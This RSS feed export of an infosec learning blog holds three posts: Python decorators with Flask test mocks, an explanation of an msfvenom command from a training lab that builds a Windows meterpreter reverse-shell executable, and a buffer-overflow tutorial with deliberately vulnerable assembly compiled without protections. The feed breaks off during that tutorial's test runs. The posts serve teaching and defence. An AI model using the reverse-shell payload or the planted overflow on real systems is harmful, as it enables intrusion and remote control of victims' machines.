<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:media="http://search.yahoo.com/mrss/"><channel><title><![CDATA[Ceisc's Blog]]></title><description><![CDATA[Ceisc's InfoSec Journey]]></description><link>https://ceisc.co.uk/</link><image><url>https://ceisc.co.uk/favicon.png</url><title>Ceisc&apos;s Blog</title><link>https://ceisc.co.uk/</link></image><generator>Ghost 5.46</generator><lastBuildDate>Tue, 28 Apr 2026 04:46:36 GMT</lastBuildDate><atom:link href="https://ceisc.co.uk/rss/" rel="self" type="application/rss+xml"/><ttl>60</ttl><item><title><![CDATA[Python Decorators]]></title><description><![CDATA[Looking at what Python Decorators are and the basics of how to use them]]></description><link>https://ceisc.co.uk/python-decorators/</link><guid isPermaLink="false">6011565730142f0629c4c094</guid><category><![CDATA[python]]></category><category><![CDATA[learning-career]]></category><dc:creator><![CDATA[Ceisc]]></dc:creator><pubDate>Wed, 27 Jan 2021 15:36:08 GMT</pubDate><media:content url="https://ceisc.co.uk/content/images/2021/01/python-logo-master-v3-TM-flattened.png" medium="image"/><content:encoded><![CDATA[<img src="https://ceisc.co.uk/content/images/2021/01/python-logo-master-v3-TM-flattened.png" alt="Python Decorators"><p>Recently I have been spending quite a bit of time learning/using <a href="https://www.python.org/?ref=ceisc.co.uk">Python</a> for an API I&apos;m implementing for a project at work. In order to create the API I have been using the <a href="https://flask.palletsprojects.com/en/1.1.x/?ref=ceisc.co.uk">Flask</a> framework.</p><p>Whilst doing the development of this API I came across a need to better understand what decorators in Python do and how they work, for reasons I will explain shortly.</p><p>This blog post is not intended to recommend (or otherwise) either Python or Flask for an API project, but just to show a few things I have learned about how decorators operate.</p><p>Traditional web servers used to serve up content based on raw files on disk corresponding to the file paths given in the URL provided by the web browser. For example, if you pointed your browser to <code>http://example.com/demo/test.html</code> and the server had a document root of <code>/var/www/html</code>, a traditional web server would try to find the file at <code>/var/www/html/demo/test.html</code> and return it to the browser. Possibly doing some server-side parsing of the file for dynamic content.</p><p>In Flask, the content can be handled quite differently as it uses the concept of <code>routes</code>, which don&apos;t have any requirement to map to a physical file. Both the URL path and the mechanisms to generate/load the content required are all defined in code. You <em>can</em> have statically served content with Flask as well, but for the purposes of my API this isn&apos;t required.</p><p>So, what does this have to do with decorators?</p><p>Well, within Flask, the way in which you define the routes which the web server will respond to is by <code>decorating</code> the function which generates the content with a decorator provided by the Flask app. This way, Flask knows which function to call when the URL is hit.</p><p>This is all pretty cool and really quick and simple to get up and running. For example, a very simple <code>Hello, world</code> program looks like:</p><figure class="kg-card kg-code-card"><pre><code class="language-python">from flask import Flask

app = Flask(__name__)

@app.route(&quot;/api/helloworld&quot;)
def hello_world():
    return &quot;Hello, World!&quot;

app.run()</code></pre><figcaption>&quot;Hello, World&quot; Python/Flask web app</figcaption></figure><p>Running this using <code>python3 app.py</code> spins up a web server listening (by default) on port <code>5000</code> bound to the <code>localhost</code>/<code>127.0.0.1</code> interface of the computer it&apos;s running on. You get some warnings that running the server this way isn&apos;t recommended and should only be used for development purposes. For what we&apos;re looking at here this is perfectly fine. If you do decide to run one in production you should really look at one of the <a href="https://en.wikipedia.org/wiki/Web_Server_Gateway_Interface?ref=ceisc.co.uk">WSGI</a> frameworks which are out there (there are many to choose from).</p><p>The line <code>@app.route(&quot;/api/helloworld&quot;)</code> is the decorator in this instance and tells Flask that anytime a request comes through for <code>http://localhost:5000/api/helloworld</code> it should call this function and send back the <code>return</code>ed data.</p><p>So, now that I&apos;ve used the decorator and can easily create API endpoints, you may ask why I felt the need to delve deeper into the internals of what decorators do and how they operate. There are two main reasons I did this:</p><ol><li>Curiosity</li><li>Testing</li></ol><p>In terms of the curiosity, I like to understand as much as I can about how the frameworks/tools I am using do what they do. This is generally helpful both in terms of when things don&apos;t work they way I expect them to and trying to make the most out of the framework at hand.</p><p>With regards to testing, the trivial example presented above has very little which can go wrong. Some of the API endpoints I&apos;ve needed to create, however, have significant amounts of logic involved and additional requests made by the code to external systems (mostly database queries and launching local applications on the OS). In order to ensure that the code functions as expected and <em>continues</em> to function as expected when I make changes to the codebase it&apos;s a good idea to ensure as much of the code as possible is covered by unit tests. That way if something stops functioning the way it used to you can discover it at code-creation time rather than run-time.</p><p>As the code I was writing grew and the number of endpoint my API had expanded, I started splitting the code into different files. I had a main app file which created the Flask app object and then handed it off to functions in other files to add their own routes to it. Whether this was the &quot;correct&quot; way to handle this or not I don&apos;t know, but it does what it needs to do for the moment, which is what is important to me. Going forward I may discover a new way to handle this and refactor the code. If I am making sweeping changes to the code as part of a refactor, the unit tests I have created will be invaluable to ensure that nothing I&apos;ve changed breaks functionality.</p><p>The following files demonstrate how splitting the routes into different files works:</p><figure class="kg-card kg-code-card"><pre><code class="language-python">from flask import Flask
from routes import AddRoutes

app = Flask(__name__)
app.config[&quot;DEBUG&quot;] = True

AddRoutes(app)

app.run()</code></pre><figcaption>app.py</figcaption></figure><figure class="kg-card kg-code-card"><pre><code class="language-python">def AddRoutes(app):
    @app.route(&quot;/api/helloworld&quot;)
    def hello_world():
        return &quot;Hello, World!&quot;</code></pre><figcaption>routes.py</figcaption></figure><p>Again, running <code>python3 app.py</code> spins up a web server as before and the content served is the same as it was. You may have noticed the addition of the line <code>app.config[&quot;DEBUG&quot;] = True</code> into the code. This tells Flask that we&apos;re running in Debug mode which give us a few nice features:</p><ol><li>Automatic restart of the server if it detects code has changed</li><li>Browser based debugging if exceptions occur</li></ol><p>Obviously don&apos;t run a production server with Debug enabled.</p><p>Although the example so far doesn&apos;t do much, it should still be possible to run unit tests on it to ensure that the returned values are as they are expected to be. </p><p>For this will will spin up a simple <code>test_routes.py</code> script:</p><figure class="kg-card kg-code-card"><pre><code class="language-python3">from flask import Flask
from routes import AddRoutes

def test_helloworld():
    app = Flask(&quot;TESTING&quot;)
    AddRoutes(app)
    assert app.view_functions[&quot;hello_world&quot;]() == &quot;Hello, World!&quot;
</code></pre><figcaption>test_routes.py</figcaption></figure><p>This can then be run with <code>pytest</code> (other testing frameworks are available), which shows that the test ran successfully and will show you how much of each file has been covered by the test:</p><figure class="kg-card kg-code-card"><pre><code class="language-bash">python3 -m coverage report -m
Name             Stmts   Miss  Cover   Missing
----------------------------------------------
routes.py            4      0   100%
test_routes.py       6      0   100%
----------------------------------------------
TOTAL               10      0   100%</code></pre><figcaption>Running pytest</figcaption></figure><p>This unit test, unfortunately, has a dependency on Flask and involves it spinning up an instance of the Flask app class in order for the test to run. It also requires retrieving the function from within the <code>view_functions</code> object within the instantiated app. This probably causes the test to run slower than expected and also means that we&apos;re testing more than just our own code as a third party library is getting involved</p><p>In terms of timings, this test only takes 0.16 seconds to run but if we had thousands of tests to cover a significant proportion of the possible paths through the code, this could quickly add up.</p><p>So... What can we do instead?</p><p>Well, given that the <code>AddRoutes</code> function takes a parameter which defines what the object to add the routes to is, couldn&apos;t we just create our own class to use instead of relying on Flask?</p><p>Of course we could. In unit testing parlance these stripped down classes are referred to as Test Doubles and come in a variety of flavours. Such as Mocks, Fakes, Stubs, Spies and Dummies, as explained <a href="http://xunitpatterns.com/Test%20Double.html?ref=ceisc.co.uk">here</a>.</p><p>Given that the <code>AddRoutes</code> method only relies on the <code>route</code> method in the Flask app, this is probably the only one we need to implement in order to get the test working without relying on Flask. This is used as a decorator in <code>AddRoutes</code> hence our interest today in decorators.</p><h3 id="a-quick-lesson-on-decorators">A quick lesson on decorators</h3><p>So, now that we have established what we need to learn about decorators for, let&apos;s take a look at what they are and how we would implement one.</p><p>At a basic level, a decorator adds additional code around the function it is decorating. This could be in order to intercept and change the parameters with which the method is called, prevent the method being called, running the method multiple times, or doing additional work prior to or after the call is made, as a few examples.</p><p>It does this by defining and returning a function which is used in place of the function it is wrapping. The decorator takes an argument which represents the wrapped function, and the function within it takes the arguments which can be passed to the original function when it is called. The following code demonstrates this in action:</p><figure class="kg-card kg-code-card"><pre><code class="language-python">def decorator(f):
    def wrapper(*args, **kwargs):
        print(&quot;Called before function is run&quot;)
        f(*args, **kwargs)
        print(&quot;Called after function is run&quot;)
    return wrapper

def unwrapped_func(name: str):
    print(name)

@decorator
def wrapped_func(name: str):
    print(name)

print(&quot;Start unwrapped_func&quot;)
unwrapped_func(&quot;unwrapped&quot;)
print(&quot;End unwrapped_func&quot;)

print(&quot;Start wrapped_func&quot;)
wrapped_func(&quot;wrapped&quot;)
print(&quot;End wrapped_func&quot;)</code></pre><figcaption>decorator1.py</figcaption></figure><p>At the top of the file you can see the implementation of a decorator. <code>f</code> represents the to-be-wrapped function. The function <code>wrapper</code> which is defined inside this function is what does the work here and takes <code>args</code> and <code>kwargs</code> parameters so that it can pass these along to the original function. The decorator function ends by returning the newly defined function.</p><p>Following on from that we define two more methods to demonstrate the functionality, <code>unwrapped_func</code> and <code>wrapped_func</code> which both provide the same functionality. It then proceeds to use these along with some debugging <code>print</code> calls to show the timings on what is happening:</p><figure class="kg-card kg-code-card"><pre><code>python3 decorator1.py 
Start unwrapped_func
unwrapped
End unwrapped_func
Start wrapped_func
Called before function is run
wrapped
Called after function is run
End wrapped_func</code></pre><figcaption>Output from decorator1.py</figcaption></figure><p><code>unwrapped_func</code> executes entirely as expected given its definition whereas <code>wrapped_func</code> produces the additional output as given by the wrapper function.</p><p>Pretty cool, huh?</p><p>In this example, however, we are only using a bare decorator. That is to say one which doesn&apos;t take any parameters. The <code>route</code> decorator from Flask, on the other hand, does take parameters, such as the URL path under which it is accessed, what HTTP methods are acceptable to use to call it, and so on.</p><p>Decorators with parameters are handled in a different way as there is a requirement to handle the parameters before it then handles the function. For this, the decorator returns a function to handle the parameters which then returns a function to handle the decoration logic. This is not necessarily an easy concept to get your head around and so I think an example may be helpful here:</p><figure class="kg-card kg-code-card"><pre><code class="language-python3">def decorator(dec_param):
    def handler(f):
        def wrapper(*args, **kwargs):
            orig_arg = args[0]
            new_arg = &quot;{} {}&quot;.format(orig_arg, dec_param)
            new_args = (new_arg,)
            f(*new_args, **kwargs)
        return wrapper
    return handler

@decorator(&quot;this&quot;)
def wrapped_func1(name: str):
    print(name)

@decorator(&quot;that&quot;)
def wrapped_func2(name: str):
    print(name)

wrapped_func1(&quot;test&quot;)
wrapped_func2(&quot;test&quot;)</code></pre><figcaption>decorator2.py</figcaption></figure><p>Again, we start by declaring our decorator. This then defines and returns a function to handle the function to be wrapped, which in turn defines and returns the logic to be run when the function is called.</p><p>The wrapper function modifies the parameter provided to the call to use the parameter which the decorator was called with, resulting in the following output:</p><figure class="kg-card kg-code-card"><pre><code>$ python3 decorator2.py 
test this
test that</code></pre><figcaption>decorator2.py output</figcaption></figure><p>At this point we&apos;re now armed with enough that we can proceed with our unit tests</p><h3 id="eliminating-the-flask-dependency">Eliminating the Flask dependency</h3><p>Now that we know how to implement a decorator which should be able to work in place of the Flask app&apos;s decorator methods, all that is left to do is create a class implementing the required functionality and use that in our test:</p><figure class="kg-card kg-code-card"><pre><code class="language-python3">from routes import AddRoutes

class flask_mock:
    def __init__(self):
        self.known_routes = {}

    def route(self, route):
        def handler(f):
            self.known_routes[route] = f
            def wrapper(*args, **kwargs):
                return f(*args, **kwargs)
            return wrapper
        return handler

def test_helloworld():
    app = flask_mock()
    AddRoutes(app)
    assert app.known_routes[&quot;/api/helloworld&quot;]() == &quot;Hello, World!&quot;</code></pre><figcaption>test_routes.py</figcaption></figure><p>As we can see, we declare a class for our mocked out app implementation and include the <code>route</code> function with corresponding <code>handler</code> and <code>wrapper</code> methods. We have also taken the import for Flask out of the file.</p><p>The <code>route</code> function stores the reference to the <code>hello_world</code> function in a <code>known_routes</code> dictionary to allow this to be referenced and executed in the test code.</p><p>In reality, we don&apos;t even need to define and return the <code>wrapper</code> function as the method in question is never directly called (both in this test file and in the normal functioning of a Flask app), and so the code could be shortened as follows:</p><figure class="kg-card kg-code-card"><pre><code>from routes import AddRoutes

class flask_mock:
    def __init__(self):
        self.known_routes = {}

    def route(self, route):
        def handler(f):
            self.known_routes[route] = f
        return handler

def test_helloworld():
    app = flask_mock()
    AddRoutes(app)
    assert app.known_routes[&quot;/api/helloworld&quot;]() == &quot;Hello, World!&quot;</code></pre><figcaption>Better test_routes.py</figcaption></figure><p>This test now functions in 0.01s which is a significant improvement.</p><h3 id="wrapping-up">Wrapping up</h3><p>And so we conclude our little foray into the world of function decorators in Python. I&apos;m sure there is plenty more which could be learned about them as I&apos;ve only scratched the surface as far as needed for the use-case at hand.</p><p>I can see quite a few instances where being able to mock the Flask app is going to be useful for me going forwards, including having the ability to verify that the URL parameters in the route match with the parameters in the declared function.</p><p>Hopefully you all enjoyed coming on this little journey with me. Hopefully I&apos;ll be posting more soon.</p>]]></content:encoded></item><item><title><![CDATA[Explaining (bits of) MSFVenom]]></title><description><![CDATA[A quick overview of some MSFVenom command line options in the context of the BHIS' Getting Started training lab.]]></description><link>https://ceisc.co.uk/explaining-msfvenon/</link><guid isPermaLink="false">5fb66133736ab70a03f4e5e8</guid><category><![CDATA[Getting Started]]></category><category><![CDATA[learning-career]]></category><category><![CDATA[BHIS]]></category><category><![CDATA[WWHF]]></category><dc:creator><![CDATA[Ceisc]]></dc:creator><pubDate>Thu, 19 Nov 2020 13:36:16 GMT</pubDate><media:content url="https://ceisc.co.uk/content/images/2020/11/msfvenom.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://ceisc.co.uk/content/images/2020/11/msfvenom.jpg" alt="Explaining (bits of) MSFVenom"><p>Recently I was taking part in the <a href="https://www.blackhillsinfosec.com/?ref=ceisc.co.uk">Black Hills Information Security</a>/<a href="https://wildwesthackinfest.com/?ref=ceisc.co.uk">Wild West Hackin&apos; Fest</a> training course <strong><a href="https://wildwesthackinfest.com/training/getting-started-in-security-with-bhis-and-mitre-attck-john-strand/?ref=ceisc.co.uk">Getting Started in Security with BHIS and MITRE ATT&amp;CK</a></strong> presented by the awesome <a href="https://www.blackhillsinfosec.com/team/john-strand/?ref=ceisc.co.uk">John Strand</a>. I previously attended this course a few months back and returned this time to pick up on anything I may have missed the first time around and to help out in my role as part of the Community Support team on their Discord channel.</p><p>As part of this training course, a Virtual Machine is provided which contains all that you need in order to follow along with what John&apos;s teaching. It&apos;s a Windows 10 machine with Docker and WSL2 (Windows Subsystem for Linux) installed. It also contains all the information needed to be able to run through the labs in your own time (the LABS document is on the desktop of the virtual machine. Seriously, it&apos;s on the desktop. Have you tried looking on the desktop? Why do people keep asking where the labs are?)</p><p>One of the labs demonstrates how you would use AppLocker on a Windows system in order to prevent malicious software (or pretty much any software, in fact) from executing, giving system admins and cyber security staff the opportunity to sleep slightly more easily at night knowing that their users had fewer mechanisms through which they could cause issues.</p><p>In order to demonstrate this in action, John showed us how to create a malicious file using <a href="https://www.metasploit.com/?ref=ceisc.co.uk">Metasploit</a>&apos;s <code>msfvenom</code> console command from a Ubuntu instance on WSL2.</p><p>All pretty simple so far, right?</p><p>In terms of generating the executable, the instructions give us the following command to run:</p><p><code>msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp lhost= lport=4444 -f exe -o /tmp/TrustMe.exe</code></p><p>And then it moves on to what needs to be done in order to get that file onto the Windows system and execute it.</p><p>What it <em>doesn&apos;t</em> do, and I&apos;m not knocking it for this as it&apos;s not specifically relevant to the task at hand, is explain what it is the <code>msfvenom</code> is doing or what the parameters are which are being fed into <code>msfvenom</code>. Someone on the Discord chat wanted to know more:</p><blockquote>Hey everyone. &#xA0;Question about yesterday&apos;s lab: &#xA0;In the command msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp lhost= lport=4444 -f exe -o /tmp/TrustMe.exe<br><br>What does the -o option represent?</blockquote><p>This is exactly the sort of thing I like to see - someone who&apos;s taken in the course material and is interested in finding out more.</p><p>I was planning on giving a quick answer to this, but it ended up being a little longer than expected:</p><hr><blockquote>msfvenom -a x86 --platform Windows -p windows/meterpreter/reverse_tcp <br>lhost= lport=4444 -f exe -o /tmp/TrustMe.exe</blockquote><p><code>-a</code> &#x2013; The architecture which the output is destined for. <code>msfvenom</code> can create executables which run on a variety of platforms. For Windows systems you&apos;ll mainly be looking at x86 or x64.</p><p><code>--platform</code> &#x2013; The platform you&apos;re targeting, e.g. an operating system (Windows, Linux, BSD, MacOS), or a framework/platform/language (PHP, JavaScript, etc.). Each of these has a different way of loading and running executable code so the output needs to be structured correctly for these.</p><p><code>-p</code> &#x2013; the payload to include. Basically &#x201C;What I want this to do when the user runs it&#x201D;. Meterpreter has a number of different payloads which can by used. The one here (<code>windows/meterpreter/reverse_tcp</code>) is for creating a reverse_tcp shell (so the machine the code runs on calls back to another host to give it a shell) for meterpreter (you could have it set to just send plain data over rather than specifically having meterpreter at the other end) for a Windows system.</p><p><code>lhost</code> &#x2013; The IP address of the host which is receiving the reverse shell connection. In this case it will be the Ubuntu WSL instance running on your machine, but could be set to any address on the Internet.</p><p><code>lport</code> &#x2013; The port number which the connection will try to reach.</p><p><code>-f</code> &#x2013; the format of the file you&apos;re trying to generate. In this case it&apos;s an normal executable file but there are other ways of getting malicious code executed on a target machine.</p><p><code>-o</code> &#x2013; the name of the output which is being generated </p><p>This all combines together to give us an executable which will run a specific function once it has been transferred to the target machine &#x2013; in this case getting it to establish a connection back to meterpreter on the attacking machine to allow the attacker to execute commands, etc.</p><p>From here you then use <code>msfconsole</code> to set up the other end of the connection on the machine you are attacking from (your Ubuntu WSL instance). In here you tell it to use the meterpreter handler. Setting LHOST lets it know what IP address to be listening on. This can be the same as the one you fed into <code>msfvenom</code> or it could be different if you are using port-forwarding or NAT to establish the connection. LPORT can be set here and needs to match the port number given to <code>msfvenom</code> (again, unless you&apos;re doing NAT stuff).</p><p>Once you have the listener running on the Ubuntu machine, the malicious file is transferred to the Windows machine and executed. Assuming that all the above functioned as expected, it will then create a connection back to your Ubuntu machine which then allows you to perform actions on the victim (Windows) machine from the attacking (Ubuntu) machine where any commands you instruct it to run will be executed as the user who ran the file.</p><p>This isn&apos;t exploiting any specific vulnerability within Windows, it&apos;s just making an outbound network connection, similar to how many legitimate pieces of software would function. It just happens that in this case it grants the system it&apos;s connecting to access to do things.</p><p>Once this connection has been established the attacker could then look around for things which may be useful. This could be paths to escalate the privilege level they have on the machine (i.e. going from a restricted user account to an admin account). This could be either by exploiting vulnerabilities or finding poorly configured software which can be exploited. Alternatively they could do additional reconnaissance from this position, such as finding out details of the local/internal network or looking for usernames and passwords which may be stored on the local machine.</p><p>Obviously you wouldn&apos;t want to have this happen against you/your users outside of this controlled environment as actual harm could come of it, which is where we get into looking at preventative measures such as using AppLocker as that would prevent the file from executing in the first place. </p><p>Firewalls can also be used to prevent the executable making connections to the outside world even if it were allowed to be run. Just controlling this through the firewall would not be sufficient in itself as it would be possible to send a payload which does damage to the machine without needing to make any network connections as part of the process.</p><hr><p>As I thought what I&apos;d written may be of value outside of the Discord chat, I thought I&apos;d turn it into this blog post (and tidy it up a bit).</p><p>There are many other parameters which <code>msfvenom</code> can use which I haven&apos;t covered here (maybe I will in a later blog post) but this hopefully serves as a good primer on what it&apos;s doing.</p><p>Thanks for reading, I hope you found the above useful :)</p><p>(Also, if you&apos;ve not heard of <a href="https://www.blackhillsinfosec.com/?ref=ceisc.co.uk">BHIS</a>/WWHF before and you have an interest in Information Security, I&apos;d highly recommend checking them out - they offer loads of free 1hr training sessions on a near weekly basis. They also do a lot of longer paid-for courses at very reasonable prices which going into topics with a much greater depth.)</p>]]></content:encoded></item><item><title><![CDATA[Binary Exploitation - Part One: Redirecting Control]]></title><description><![CDATA[In this post we look at the basics of how Buffer Overflows work and create our own flawed executable to exploit.]]></description><link>https://ceisc.co.uk/binary-exploitation-part-1/</link><guid isPermaLink="false">5fb4787e736ab70a03f4e2ed</guid><category><![CDATA[hacking]]></category><category><![CDATA[ghidra]]></category><category><![CDATA[learning-career]]></category><dc:creator><![CDATA[Ceisc]]></dc:creator><pubDate>Wed, 18 Nov 2020 04:48:30 GMT</pubDate><media:content url="https://ceisc.co.uk/content/images/2020/11/exploitation1.jpg" medium="image"/><content:encoded><![CDATA[<img src="https://ceisc.co.uk/content/images/2020/11/exploitation1.jpg" alt="Binary Exploitation - Part One: Redirecting Control"><p>As mentioned in my previous post <a href="https://ceisc.co.uk/ghidra-on-docker-via-ssh/">Ghidra on Docker accessed using X forwarding over SSH</a>, I&apos;m currently going through the process of creating a range of exploitable binaries for a talk I plan to give on Binary Exploitation.</p><p>This article covers the first section of that talk, showing how to take control over an executing binary to make it exhibit behaviour it wasn&apos;t coded to do.</p><p>We&apos;ll start by covering a few basics about what a computer binary is and how it gets loaded into memory, how control flows within a compiled binary as it is executed, a brief explanation on what a buffer overflow is, going through the process of crafting a binary with a specific coding flaw to exploit, followed by showing how to execute the exploit against it.</p><h2 id="so-what-is-an-executable-binary">So, what is an executable binary?</h2><p>At a really basic level, all files which exist on a computer consist of a series of &apos;1&apos;s and &apos;0&apos;s which represent the data within that file. Some of these files contain code which the computer can execute to perform the functions intended by the person who programmed it. In theory you could offer up any file to the processor and ask it to try to execute it. In reality, however, most files which aren&apos;t specifically designed for this will cause the CPU to choke when it encounters data it can&apos;t execute.</p><p>There are two main mechanisms through which source code written by a software developer gets run on a computer. Either the source code is run through an interpreter running on the system which turns the text written by the developer into a series of instructions to pass to the CPU at the time of execution, or the code goes through a compilation phase prior to being run to turn it into a file full of instructions that the CPU understands natively. There are some nuances to both of these and it&apos;s not quite as simple as I may have made out but for our purposes today that should cover enough.</p><p>Within this article we will be dealing with the latter of these and looking at files which have been compiled from source code into native machine instructions.</p><p>Alongside the actual code which the processor uses as instructions to perform, and the data to perform these instructions on, the binary file contains other data which tells the operating system about the contents of the file and how it needs to be loaded into memory in order for the execution of the program to start.</p><p>The key parts involved in this for what we&apos;re looking at are the sections which tell the OS where to put the instructions and code into memory and where within the loaded code the execution should start.</p><figure class="kg-card kg-image-card kg-card-hascaption"><img src="https://ceisc.co.uk/content/images/2020/11/image-2.png" class="kg-image" alt="Binary Exploitation - Part One: Redirecting Control" loading="lazy" width="777" height="422" srcset="https://ceisc.co.uk/content/images/size/w600/2020/11/image-2.png 600w, https://ceisc.co.uk/content/images/2020/11/image-2.png 777w" sizes="(min-width: 720px) 720px"><figcaption>Very basic overview of loading a program</figcaption></figure><p>From this point, the CPU goes through the instructions one at a time and performs actions based on these. This could be performing calculations or moving data to memory or, and quite important for our purposes, controlling the flow of the application by changing which instruction needs to be executed next.</p><h2 id="control-flow-within-an-executable">Control Flow within an Executable</h2><p>Unless the program is incredibly basic (hello, Hello World!) there will need to be decisions made during the course of execution which result in different behaviours being exhibited by the application. For example if the application related to financial transactions it would need to behave differently if the bank balance was positive compared to being massively overdrawn and hideously broke.</p><p>To achieve this, there are various instructions which perform comparisons between data values (like comparing the bank balance to the number zero), as well as instructions to jump between different sections of code based on the results of those comparisons. The main ways to move to a different section of code are either a jump, which simply transfers control to another section of code, or a call, which transfers control to another section of code but expects that, when that code has finished, the control will return to the next instruction after the call instruction.</p><p>When a call instruction is executed, certain values are put into known locations for the purposes of transferring data (called arguments or parameters) for the called function to operate on and the location of the instruction which needs to be returned to once the called function completes. These items of data are placed into what is known as the <code>stack</code>, which is an area of memory for small(ish) short-lived values to reside in.</p><p>The fact that we can store data on the stack and that that is also where the return addresses are stored is critical to how our exploit works.</p><p>It is the value of this return location we will be looking to hijack in order to change the flow of the application and make it do our bidding.</p><h2 id="buffer-overflowing-for-fun-and-profit">Buffer Overflowing for Fun and Profit</h2><p>So, what do I mean when I say a buffer and what is meant by overflowing it?</p><p>A buffer, in simple terms, is a contiguous area of memory with a size defined at the point where the program was compiled (buffer sizes can be defined dynamically, as the program executes, but that is out of scope for this article).</p><p>Overflowing the buffer simply means giving it more data than it was intended to receive. In an ideal world this wouldn&apos;t ever happen and the program should have been defined in such a way that user-controlled data is checked for size before the program tries to do anything with it. Unfortunately, this isn&apos;t an ideal world and programmers aren&apos;t as infallible as they might sometimes like to think.</p><p>So... What happens when the program tries to write more data to a buffer than it&apos;s expecting? There are a few possibilities here:</p><ol><li>Nothing at all - this is quite a nice outcome as a general rule.</li><li>The program crashes immediately because the area of memory it is trying to write to is inaccessible (which could occur for several reasons).</li><li>The program continues to operate but the data it is working with is corrupted, leading to unexpected results or a crash further down the line.</li></ol><p>For our purposes, we&apos;re aiming to achieve number 3, but doing so in a way where we can have control over the unexpected results. Expected unexpected behaviour, if you will.</p><p>One mechanism for gaining this control is to have the buffer overflow run into the area of memory where the return value for the current function is stored, changing it to the value of other code we wish to execute. If we can do this in a controlled and predictable way we can control what the program does once the function finishes.</p><h2 id="creating-the-binary">Creating the Binary</h2><p>So, now that we know the basic building blocks for what we&apos;re trying to achieve, it&apos;s time to roll up our sleeves and create an exploitable program.</p><p>To recap what we need:</p><ol><li>The program needs to have a buffer in it which is located suitably close to the location where the return value is to be stored.</li><li>The program needs to accept external, user-controlled, input from somewhere. For our purposes we will simply be using command line arguments which are passed to the program when it is started.</li><li>Something which shows to us that we have indeed subverted control and that our exploit is working.</li></ol><p>I will be writing the program for this in x86 Assembler, which is a very low level language not that far removed from coding the &apos;1&apos;s and &apos;0&apos;s by hand. I would like to say I chose Assembler because I&apos;m highly skilled at it, but it&apos;s more that I couldn&apos;t get GCC to compile my C (another relatively low-level language) code the way I wanted and I thought it&apos;d be easier to do in Assembler. I also like a challenge :)</p><p>The code I wrote to demonstrate this is as follows:</p><figure class="kg-card kg-code-card"><pre><code class="language-x86 Assembler">.intel_syntax noprefix

.section .data
    msg: .asciz &quot;This shouldn&apos;t get called.\n&quot;
    fmt: .asciz &quot;%s\n&quot;

.section .text
    .global main

do_not_run:
    push ebp
    mov ebp, esp
    lea eax, msg
    push eax
    call printf@plt
    add eax, 4
    leave
    ret

main:
    push ebp
    mov ebp, esp
    sub esp, 0x8
    cmp DWORD PTR [ebp+0x8], 0x1
    jle skip
    mov eax, DWORD PTR[ebp+0x0c] 
    add eax, 4                   
    mov eax, DWORD PTR[eax]      
    push eax                     
    lea eax, [ebp-0x8]           
    push eax                     
    call strcpy@plt              
    add esp, 0x8                 
    lea eax, [ebp-0x8]
    push eax
    lea eax, fmt
    push eax
    call printf@plt
    add esp, 0x8
skip:
    xor eax, eax                 
    leave                        
    ret                          
</code></pre><figcaption>Assembler code of our flawed program</figcaption></figure><p>There are several parts to this program. At the top we have:</p><pre><code class="language-x86 Assembler">.intel_syntax noprefix

.section .data
    msg: .asciz &quot;This shouldn&apos;t get called.\n&quot;
    fmt: .asciz &quot;%s\n&quot;

.section .text
    .global main</code></pre><p>This simply defines different sections which will end up in the finished binary. The <code>data</code> section contains data which is needed for the program. The next section is the one which contains our executable code and is, for some reason, called the <code>text</code> section. The top line is just an instruction to the compiler letting it know what syntax we&apos;re using.</p><p>Below this we have our first function which happens to also fulfil the criteria for requirement 3. This function is not called during the normal operation of our program so we will show that we can divert control to this function to prove that our exploit works. All the function does is to print the line <code>This shouldn&apos;t get called.</code> (Inventive, right?)</p><p>The next section is out <code>main</code> method, which is the entry point into our program. This does a few things for us. First it defines a buffer of 8 bytes on the stack (which is what the instruction <code>sub esp, 0x8</code> is doing for us). It then checks that a command line argument has been passed through by checking that the number of arguments is greater than one (there is always at least one argument passed through, this being then name of the program being run). This is done with <code>cmp DWORD PTR [ebp+0x8], 0x1</code> with the following line <code>jle skip</code> instructing the processor to jump to the <code>skip</code> label further down should the value be 1 or less. From there it marshals the arguments for a call to <code>strcpy</code> which is a function in the C standard library. It then echoes this back to the user using a call to <code>printf</code>, another standard function. The last section sets the return value and returns control to whatever called this function.</p><p>Now that we have our code, we just need to compile it using:</p><p><code>gcc -m32 -no-pie -fno-pic main.s -o stack-redirection</code></p><p>This instructs GCC to compile the code as a x86 32-bit executable (<code>-m32</code>), without making the executable position independent (<code>-no-pie</code>), without position independent code (<code>-fno-pic</code>) using the file <code>main.s</code> as the source and outputting (<code>-o</code>) to the file <code>stack-redirection</code>. Exactly what those parameters are doing is mostly out of scope but in simple terms it&apos;s turning off mitigations which the compiler and operating system have in place to protect against poorly written code.</p><h2 id="cool-we-have-a-binary-let-s-run-it">Cool, we have a binary, let&apos;s run it</h2><p>First of all, we should probably check that the program functions as expected. We&apos;ll give it a quick run with a short argument:</p><figure class="kg-card kg-code-card"><pre><code class="language-bash">./stack-redirection Testing!
Testing!</code></pre><figcaption>First run of the code</figcaption></figure><p>Well, that all looks to work OK. No errors and it parrots back the text which was entered. Let&apos;s try another:</p><figure class="kg-card kg-code-card"><pre><code class="language-bash">./stack-redirection Ceisc
Ceisc</code></pre><figcaption>Second run</figcaption></figure><p>Still looking good. Let&apos;s try something a little longer:</p><figure class="kg-card kg-code-card"><pre><code class="language-bash">./stack-redirection WillThisWorkProperly?
WillThisWorkProperly?
